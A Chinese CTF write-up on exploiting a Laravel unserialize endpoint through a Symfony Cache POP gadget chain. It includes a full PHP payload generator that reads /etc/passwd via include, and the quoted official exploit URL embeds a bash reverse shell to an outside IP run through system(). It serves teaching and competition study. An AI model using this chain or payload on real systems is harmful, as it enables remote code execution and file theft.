全国网安竞赛web09另一个exp
前言
这道题因为非预期的日志文件,直接给出了payload,但是由于我自己没看到,自己找了好久好久,2333,发现自己的POP链和出题师傅的点有点不太一样,故发出来分享下自己的POP链挖掘思路
题目代码
public function index(\Illuminate\Http\Request $request){
$payload=$request->input("payload");
if(empty($payload)){
highlight_file(__FILE__);
}else{
@unserialize($payload);
}
}
代码很简单,很明显是让找POP链,最后能读取文件即可
ROP链挖掘
既然直接给了一个unserialize,其他的什么都没有,所以首先考虑魔法函数__destruct
那么我们在全局搜索一下__destruct
可以发现有很多匹配的结果,没办法了,硬着头皮看吧
找了很久,终于发现了一处__destruct
可以利用一下,但是有一些限制
TagAwareAdapter类
这个类里面有一个__destruct
方法,调用了commit方法
public function __destruct()
{
$this->commit();
}
之后commit方法又调用了invalidateTags这个方法
public function commit()
{
return $this->invalidateTags([]);
}
我们跟进invalidateTags这个方法看看
public function invalidateTags(array $tags)
{
$ok = true;
$tagsByKey = [];
$invalidatedTags = [];
foreach ($tags as $tag) {
CacheItem::validateKey($tag);
$invalidatedTags[$tag] = 0;
}
if ($this->deferred) {
$items = $this->deferred;
foreach ($items as $key => $item) {
if (!$this->pool->saveDeferred($item)) {
unset($this->deferred[$key]);
$ok = false;
}
}
$f = $this->getTagsByKey;
$tagsByKey = $f($items);
$this->deferred = [];
}
$tagVersions = $this->getTagVersions($tagsByKey, $invalidatedTags);
$f = $this->createCacheItem;
foreach ($tagsByKey as $key => $tags) {
$this->pool->saveDeferred($f(static::TAGS_PREFIX.$key, array_intersect_key($tagVersions, $tags), $items[$key]));
}
$ok = $this->pool->commit() && $ok;
if ($invalidatedTags) {
$f = $this->invalidateTags;
$ok = $f($this->tags, $invalidatedTags) && $ok;
}
return $ok;
}
要注意的是,我们可以控制整个TagAwareAdapter类中的成员变量,所以我们可以控制所有的$this->xxx这样子的变量。
在这一段代码中
foreach ($items as $key => $item) {
if (!$this->pool->saveDeferred($item)) {
unset($this->deferred[$key]);
$ok = false;
}
}
我们可以发现,我们可以调用任意一个实现了saveDeferred方法的类,所以我们可以找到这些类
第一个很尴尬的POP链
在刚开始的时候,我找的是ProxyAdapter这个类,为什么呢
public function saveDeferred(CacheItemInterface $item)
{
return $this->doSave($item, __FUNCTION__);
}
private function doSave(CacheItemInterface $item, $method)
{
if (!$item instanceof CacheItem) {
return false;
}
$item = (array) $item;
if (null === $item["\0*\0expiry"] && 0 < $item["\0*\0defaultLifetime"]) {
$item["\0*\0expiry"] = microtime(true) + $item["\0*\0defaultLifetime"];
}
if ($item["\0*\0poolHash"] === $this->poolHash && $item["\0*\0innerItem"]) {
$innerItem = $item["\0*\0innerItem"];
} elseif ($this->pool instanceof AdapterInterface) {
// this is an optimization specific for AdapterInterface implementations
// so we can save a round-trip to the backend by just creating a new item
$f = $this->createCacheItem;
$innerItem = $f($this->namespace.$item["\0*\0key"], null);
} else {
$innerItem = $this->pool->getItem($this->namespace.$item["\0*\0key"]);
}
($this->setInnerItem)($innerItem, $item);
return $this->pool->$method($innerItem);
}
我们只要传入的$item
是一个CacheItem类型,就可以进到下面的if条件中
看到一句代码了吗$innerItem = $f($this->namespace.$item["\0*\0key"], null);
,这一句代码中:
-
$f
这个变量是来自于$this->createCacheItem,我们可控 -
$item["\0*\0key"]
这个变量,来自于上面的$item = (array) $item;这里有一个很有意思的点,如果一个对象被强行转换为array的时候,他里面的属性会变成这个样子:
- 所以说,
$item
数组我们是完全可以控制的 - 所以说,这里我们可以调用第二个参数可以是null的方法,可惜的是,虽然file_get_contents第二个参数可以为null,但是并没有回显,有点尴尬(有师傅知道这一点可以利用吗)
柳暗花明又一村
既然这个不行,那我们就换一个呗,毕竟那么多实现了saveDeferred方法的类
但是,虽然那么多的类,但是能用来利用的只能找到一个:PhpArrayAdapter类
我们看一下这个类中的saveDeffer方法
public function saveDeferred(CacheItemInterface $item)
{
if (null === $this->values) {
$this->initialize();
}
return !isset($this->keys[$item->getKey()]) && $this->pool->saveDeferred($item);
}
进入到initialize这个方法,发现在本类中并没有定义,而是在一个trait这个关键词修饰的类中trait PhpArrayTrait
看一下trait这个关键词的用法
trait
这个关键词是php为了解决单继承的问题而特意建立的,在java这种面向对象的语言中,继承都是单继承的,一个类只能继承一个父类,这样确实体现了面向对象的思想,但是单继承在有的时候不是很方便
我们通过phpstorm的继承图生成可以清楚的看到PhpArrayAdapter这个类的继承关系
那么在本类中没有定义initialize这个方法的话,自然就会去父类中寻找,我们来看看父类的initialize方法:
private function initialize()
{
if (!file_exists($this->file)) {
$this->keys = $this->values = [];
return;
}
$values = (include $this->file) ?: [[], []];
if (2 !== \count($values) || !isset($values[0], $values[1])) {
$this->keys = $this->values = [];
} else {
list($this->keys, $this->values) = $values;
}
}
我们可以在PhpArrayAdapter中定义好$this->file
这个变量,那么在调用initialize方法的时候,只要这个file是一个存在的文件,就会调用include来包含进去,最后就可以读取到flag了
出题人的官方的POP链可以直接做到命令执行,tql
最后的payload:
<?php
namespace Symfony\Component\Cache{
use Symfony\Component\Cache\Adapter\ProxyAdapter;
final class CacheItem{
protected $key;
protected $value;
protected $isHit = false;
protected $expiry;
protected $defaultLifetime;
protected $metadata = [];
protected $newMetadata = [];
protected $innerItem;
protected $poolHash;
protected $isTaggable = false;
public function __construct()
{
$this->expiry = 'sjdjfkas';
$this->poolHash = '123';
$this->key = '';
}
}
}
namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;
use Symfony\Component\Ldap\Adapter\ExtLdap\Adapter;
class PhpArrayAdapter{
private $file;
public function __construct()
{
$this->file = '/etc/passwd';
}
}
class ProxyAdapter{
private $namespace;
private $namespaceLen;
private $createCacheItem;
private $setInnerItem;
private $poolHash;
private $pool;
public function __construct()
{
$this->pool = new ChainAdapter();
$this->createCacheItem = 'call_user_func';
$this->namespace = 'phpinfo';
}
}
class TagAwareAdapter{
private $deferred = [];
private $createCacheItem;
private $setCacheItemTags;
private $getTagsByKey;
private $invalidateTags;
private $tags;
private $knownTagVersions = [];
private $knownTagVersionsTtl;
private $pool;
public function __construct()
{
$this->deferred = array('flight' => new CacheItem());
$this->pool = new PhpArrayAdapter();
}
}
}
namespace {
use Symfony\Component\Cache\Adapter\TagAwareAdapter;
$obj = new TagAwareAdapter();
echo urlencode(serialize($obj));
}
读取/etc/passwd
官方exp
http://localhost/pop_chain/laravel/public/index.php/index?payload=O%3A47%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%22%3A2%3A%7Bs%3A57%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00deferred%22%3Ba%3A1%3A%7Bi%3A1%3BO%3A33%3A%22Symfony%5CComponent%5CCache%5CCacheItem%22%3A3%3A%7Bs%3A12%3A%22%00%2A%00innerItem%22%3Bs%3A45%3A%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F115.159.184.127%2F9998%200%3E%261%22%3Bs%3A11%3A%22%00%2A%00poolHash%22%3Bs%3A1%3A%221%22%3Bs%3A9%3A%22%00%2A%00expiry%22%3Bs%3A1%3A%221%22%3B%7D%7Ds%3A53%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00pool%22%3BO%3A44%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%22%3A2%3A%7Bs%3A58%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00setInnerItem%22%3Bs%3A6%3A%22system%22%3Bs%3A54%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00poolHash%22%3Bs%3A1%3A%221%22%3B%7D%7D";}s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}}
这道题还是很有意思的,出题师傅的这个非预期有点难受,laravel,yii这些框架都有日志记录的。